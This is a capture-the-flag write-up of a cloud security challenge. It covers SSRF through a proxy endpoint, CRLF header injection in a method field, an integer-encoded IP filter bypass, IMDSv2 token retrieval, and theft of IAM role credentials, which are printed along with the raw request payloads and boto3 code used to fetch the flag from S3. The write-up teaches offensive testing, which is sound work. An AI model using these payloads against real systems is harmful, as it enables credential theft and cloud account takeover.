Series
Tenable Zero Day Assessment — View all write-ups

Challenge

Challenge 3: Cloud Security
===
This challenge involves a cloud API similar to what you might encounter during a
bug hunt. Find the flag in the format "FLAG{ xxxxx }" and write-up your approach.

Target : http://3.138.141.238/
Note: Brute-forcing and directory/file enumeration are not expected or required.

Deliverables:
1. A write up describing how you approached the challenge and found the flag (if found).
2. The flag (if found).

Application Reconnaissance

The challenge target is a web application presenting a UI for sending HTTP requests to specified endpoints:

Challenge 3 — main application page

The "API Public Docs" links on the page point to resources hosted on AWS in an S3 bucket named apitestdocs.

Examining the HTML source reveals several interesting details:

HTML source — hidden TestApi() call, GetDoc() links, and base64 key
  • A commented-out call to a JavaScript function named TestApi()
  • The "API Public Docs" anchors are calls to GetDoc(), not standard hyperlinks, passing what appear to be S3 resource paths
  • A hardcoded base64-encoded key: decodes to {"TotallyRealTestKey":"THISISSECRET"}

Reviewing test.js:

test.js — TestApi and GetDoc function definitions
  • TestApi() reads values from url and key input fields and sends an AJAX POST to /requester.php with a JSON payload containing the target URL and the key as X-API-Key.
  • GetDoc() issues a GET request to gets3doc.php?doc=<path>, passing a document path that is used to generate a presigned S3 URL.

Probing gets3doc.php directly confirms it crafts presigned URLs for S3 objects specified by the doc parameter:

gets3doc.php generating a presigned S3 URL

Testing requester.php confirms it functions as an HTTP proxy, forwarding requests to any specified URL:

requester.php — test request to external host Incoming request on test server — origin confirmed as 3.138.141.238

Attack Surface Analysis

Potential attack vectors at this point:

  • Use requester.php to exploit a local file read vulnerability via file:// scheme
  • Use requester.php to exploit SSRF, targeting internal AWS services
  • Use gets3doc.php to generate presigned URLs for S3 objects outside the intended scope

Attempted: Local File Read via file://

A common first check for any URL-proxying endpoint is whether the file:// scheme is restricted. Testing it directly:

file:// request blocked by requester.php

That path is blocked — a validation check triggers. Testing whether a 301 redirect via an externally hosted PHP script could bypass the restriction:

Redirect script on attacker's server Redirect-based file:// bypass attempt — still blocked

The file:// scheme is disabled at the libcurl level. Redirect-based bypass fails as well.

SSRF via AWS EC2 Instance Metadata Service

The target's IP resolves to an Amazon EC2 instance. AWS hosts an internal metadata service at 169.254.169.254 that provides instance metadata and, crucially, IAM security credentials bound to the instance's role.

A direct request to the metadata IP is rejected:

Direct request to 169.254.169.254 — Disallowed url

Attempting the 301 redirect trick here returns a 200 OK but with no body. However, when the redirect target is changed to an unresponsive address, the request times out — suggesting the metadata server is reachable but the response is being suppressed. Converting the IP to integer form (2852039166) yields the same silent 200 OK.

At this point the approach changed. The instance appears to be running IMDSv2 (Instance Metadata Service v2), which requires:

  1. A PUT request to http://169.254.169.254/latest/api/token with the header x-aws-ec2-metadata-token-ttl-seconds to obtain a session token
  2. Subsequent requests to the metadata service authenticated with that token via x-aws-ec2-metadata-token

Additionally, an HTTP header injection was identified in the method field of requester.php. While the header field is validated against a pattern requiring X- prefixed names, the method field is not sanitized and accepts CRLF sequences. This allows injecting arbitrary headers. An earlier observation from testing:

POST /requester.php HTTP/1.1
Host: 3.138.141.238
Content-Length: 166

{"url":"http://ke.gy/","method":"POST / HTTP/1.1\r\nayylmao: cool-custom-header\r\n\r\n","header":"X-API-Key: ..."}
POST / HTTP/1.1
ayylmao: cool-custom-header

 / HTTP/1.1
Host: ke.gy
X-API-Key: ...

This technique, combined with the integer-form IP bypass and a PUT method, allows issuing a valid IMDSv2 token request:

POST /requester.php HTTP/1.1
Host: 3.138.141.238
Content-Length: 114

{"url":"http://2852039166/latest/api/token","method":"PUT","header":"X-aws-ec2-metadata-token-ttl-seconds: 300"}
AQAEAHhnfPvJ6tOfXP9S-Km9tBmui0DU-JWBBTy_N6M5YhL8ly3Orw==

A valid token is returned. Using it to query the metadata service:

POST /requester.php HTTP/1.1
Host: 3.138.141.238
Content-Length: 155

{"url":"http://2852039166/latest/meta-data","method":"GET","header":"X-aws-ec2-metadata-token: AQAEAHhnfPvJ6tOfXP9S-Km9tBmui0DU-JWBBTy_N6M5YhL8ly3Orw=="}
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

The presence of the iam/ path is the primary target. Querying the attached IAM role's security credentials:

{"url":"http://2852039166/latest/meta-data/iam/security-credentials/S3Role","method":"GET","header":"X-aws-ec2-metadata-token: AQAEAHhnfPvJ6tOfXP9S-Km9tBmui0DU-JWBBTy_N6M5YhL8ly3Orw=="}
{
  "Code" : "Success",
  "LastUpdated" : "2021-07-14T02:12:14Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA5HRVYIWQMC5E4DOL",
  "SecretAccessKey" : "g2/mPfn4aBLKvRUZGBbOYXLHvCIkLsMya95dLWZY",
  "Token" : "[session token]",
  "Expiration" : "2021-07-14T08:17:39Z"
}

Retrieving the Flag from S3

With IAM credentials in hand, the apitestdocs S3 bucket (identified earlier from the "API Public Docs" links) can be listed directly:

$ export AWS_ACCESS_KEY_ID=ASIA5HRVYIWQMC5E4DOL
$ export AWS_SECRET_ACCESS_KEY=g2/mPfn4aBLKvRUZGBbOYXLHvCIkLsMya95dLWZY
$ export AWS_SESSION_TOKEN=[session token]
$ aws s3 ls s3://apitestdocs
                           PRE public/
2021-06-23 21:06:43         22 flag.txt

The bucket contains flag.txt at the root, outside the public/ prefix — inaccessible through the normal GetDoc() flow. Generating a presigned URL via the AWS CLI ran into a regional signature compatibility issue:

Presigned URL generation — regional signature error

Switching to boto3 with explicit SigV4 signing resolves the issue:

from botocore.client import Config
import boto3

s3 = boto3.client(
    's3',
    aws_access_key_id='ASIA5HRVYIWQMC5E4DOL',
    aws_secret_access_key='g2/mPfn4aBLKvRUZGBbOYXLHvCIkLsMya95dLWZY',
    aws_session_token='[session token]',
    config=Config(signature_version='s3v4')
)

s3.download_file('apitestdocs', 'flag.txt', 'flag.txt')

FLAG{Buckets_0f_data}

Summary

The complete exploit chain:

  1. Application reconnaissance identifies a URL-proxying endpoint (requester.php) and a hardcoded API key in HTML source
  2. An HTTP header injection in the method parameter enables arbitrary request customization
  3. Direct requests to the AWS metadata IP (169.254.169.254) are blocked; integer-format IP encoding (2852039166) bypasses the filter
  4. IMDSv2 token obtained via a PUT request using the injected custom header
  5. Token used to query /iam/security-credentials/S3Role and extract short-lived AWS credentials
  6. Credentials used to list the apitestdocs S3 bucket and download flag.txt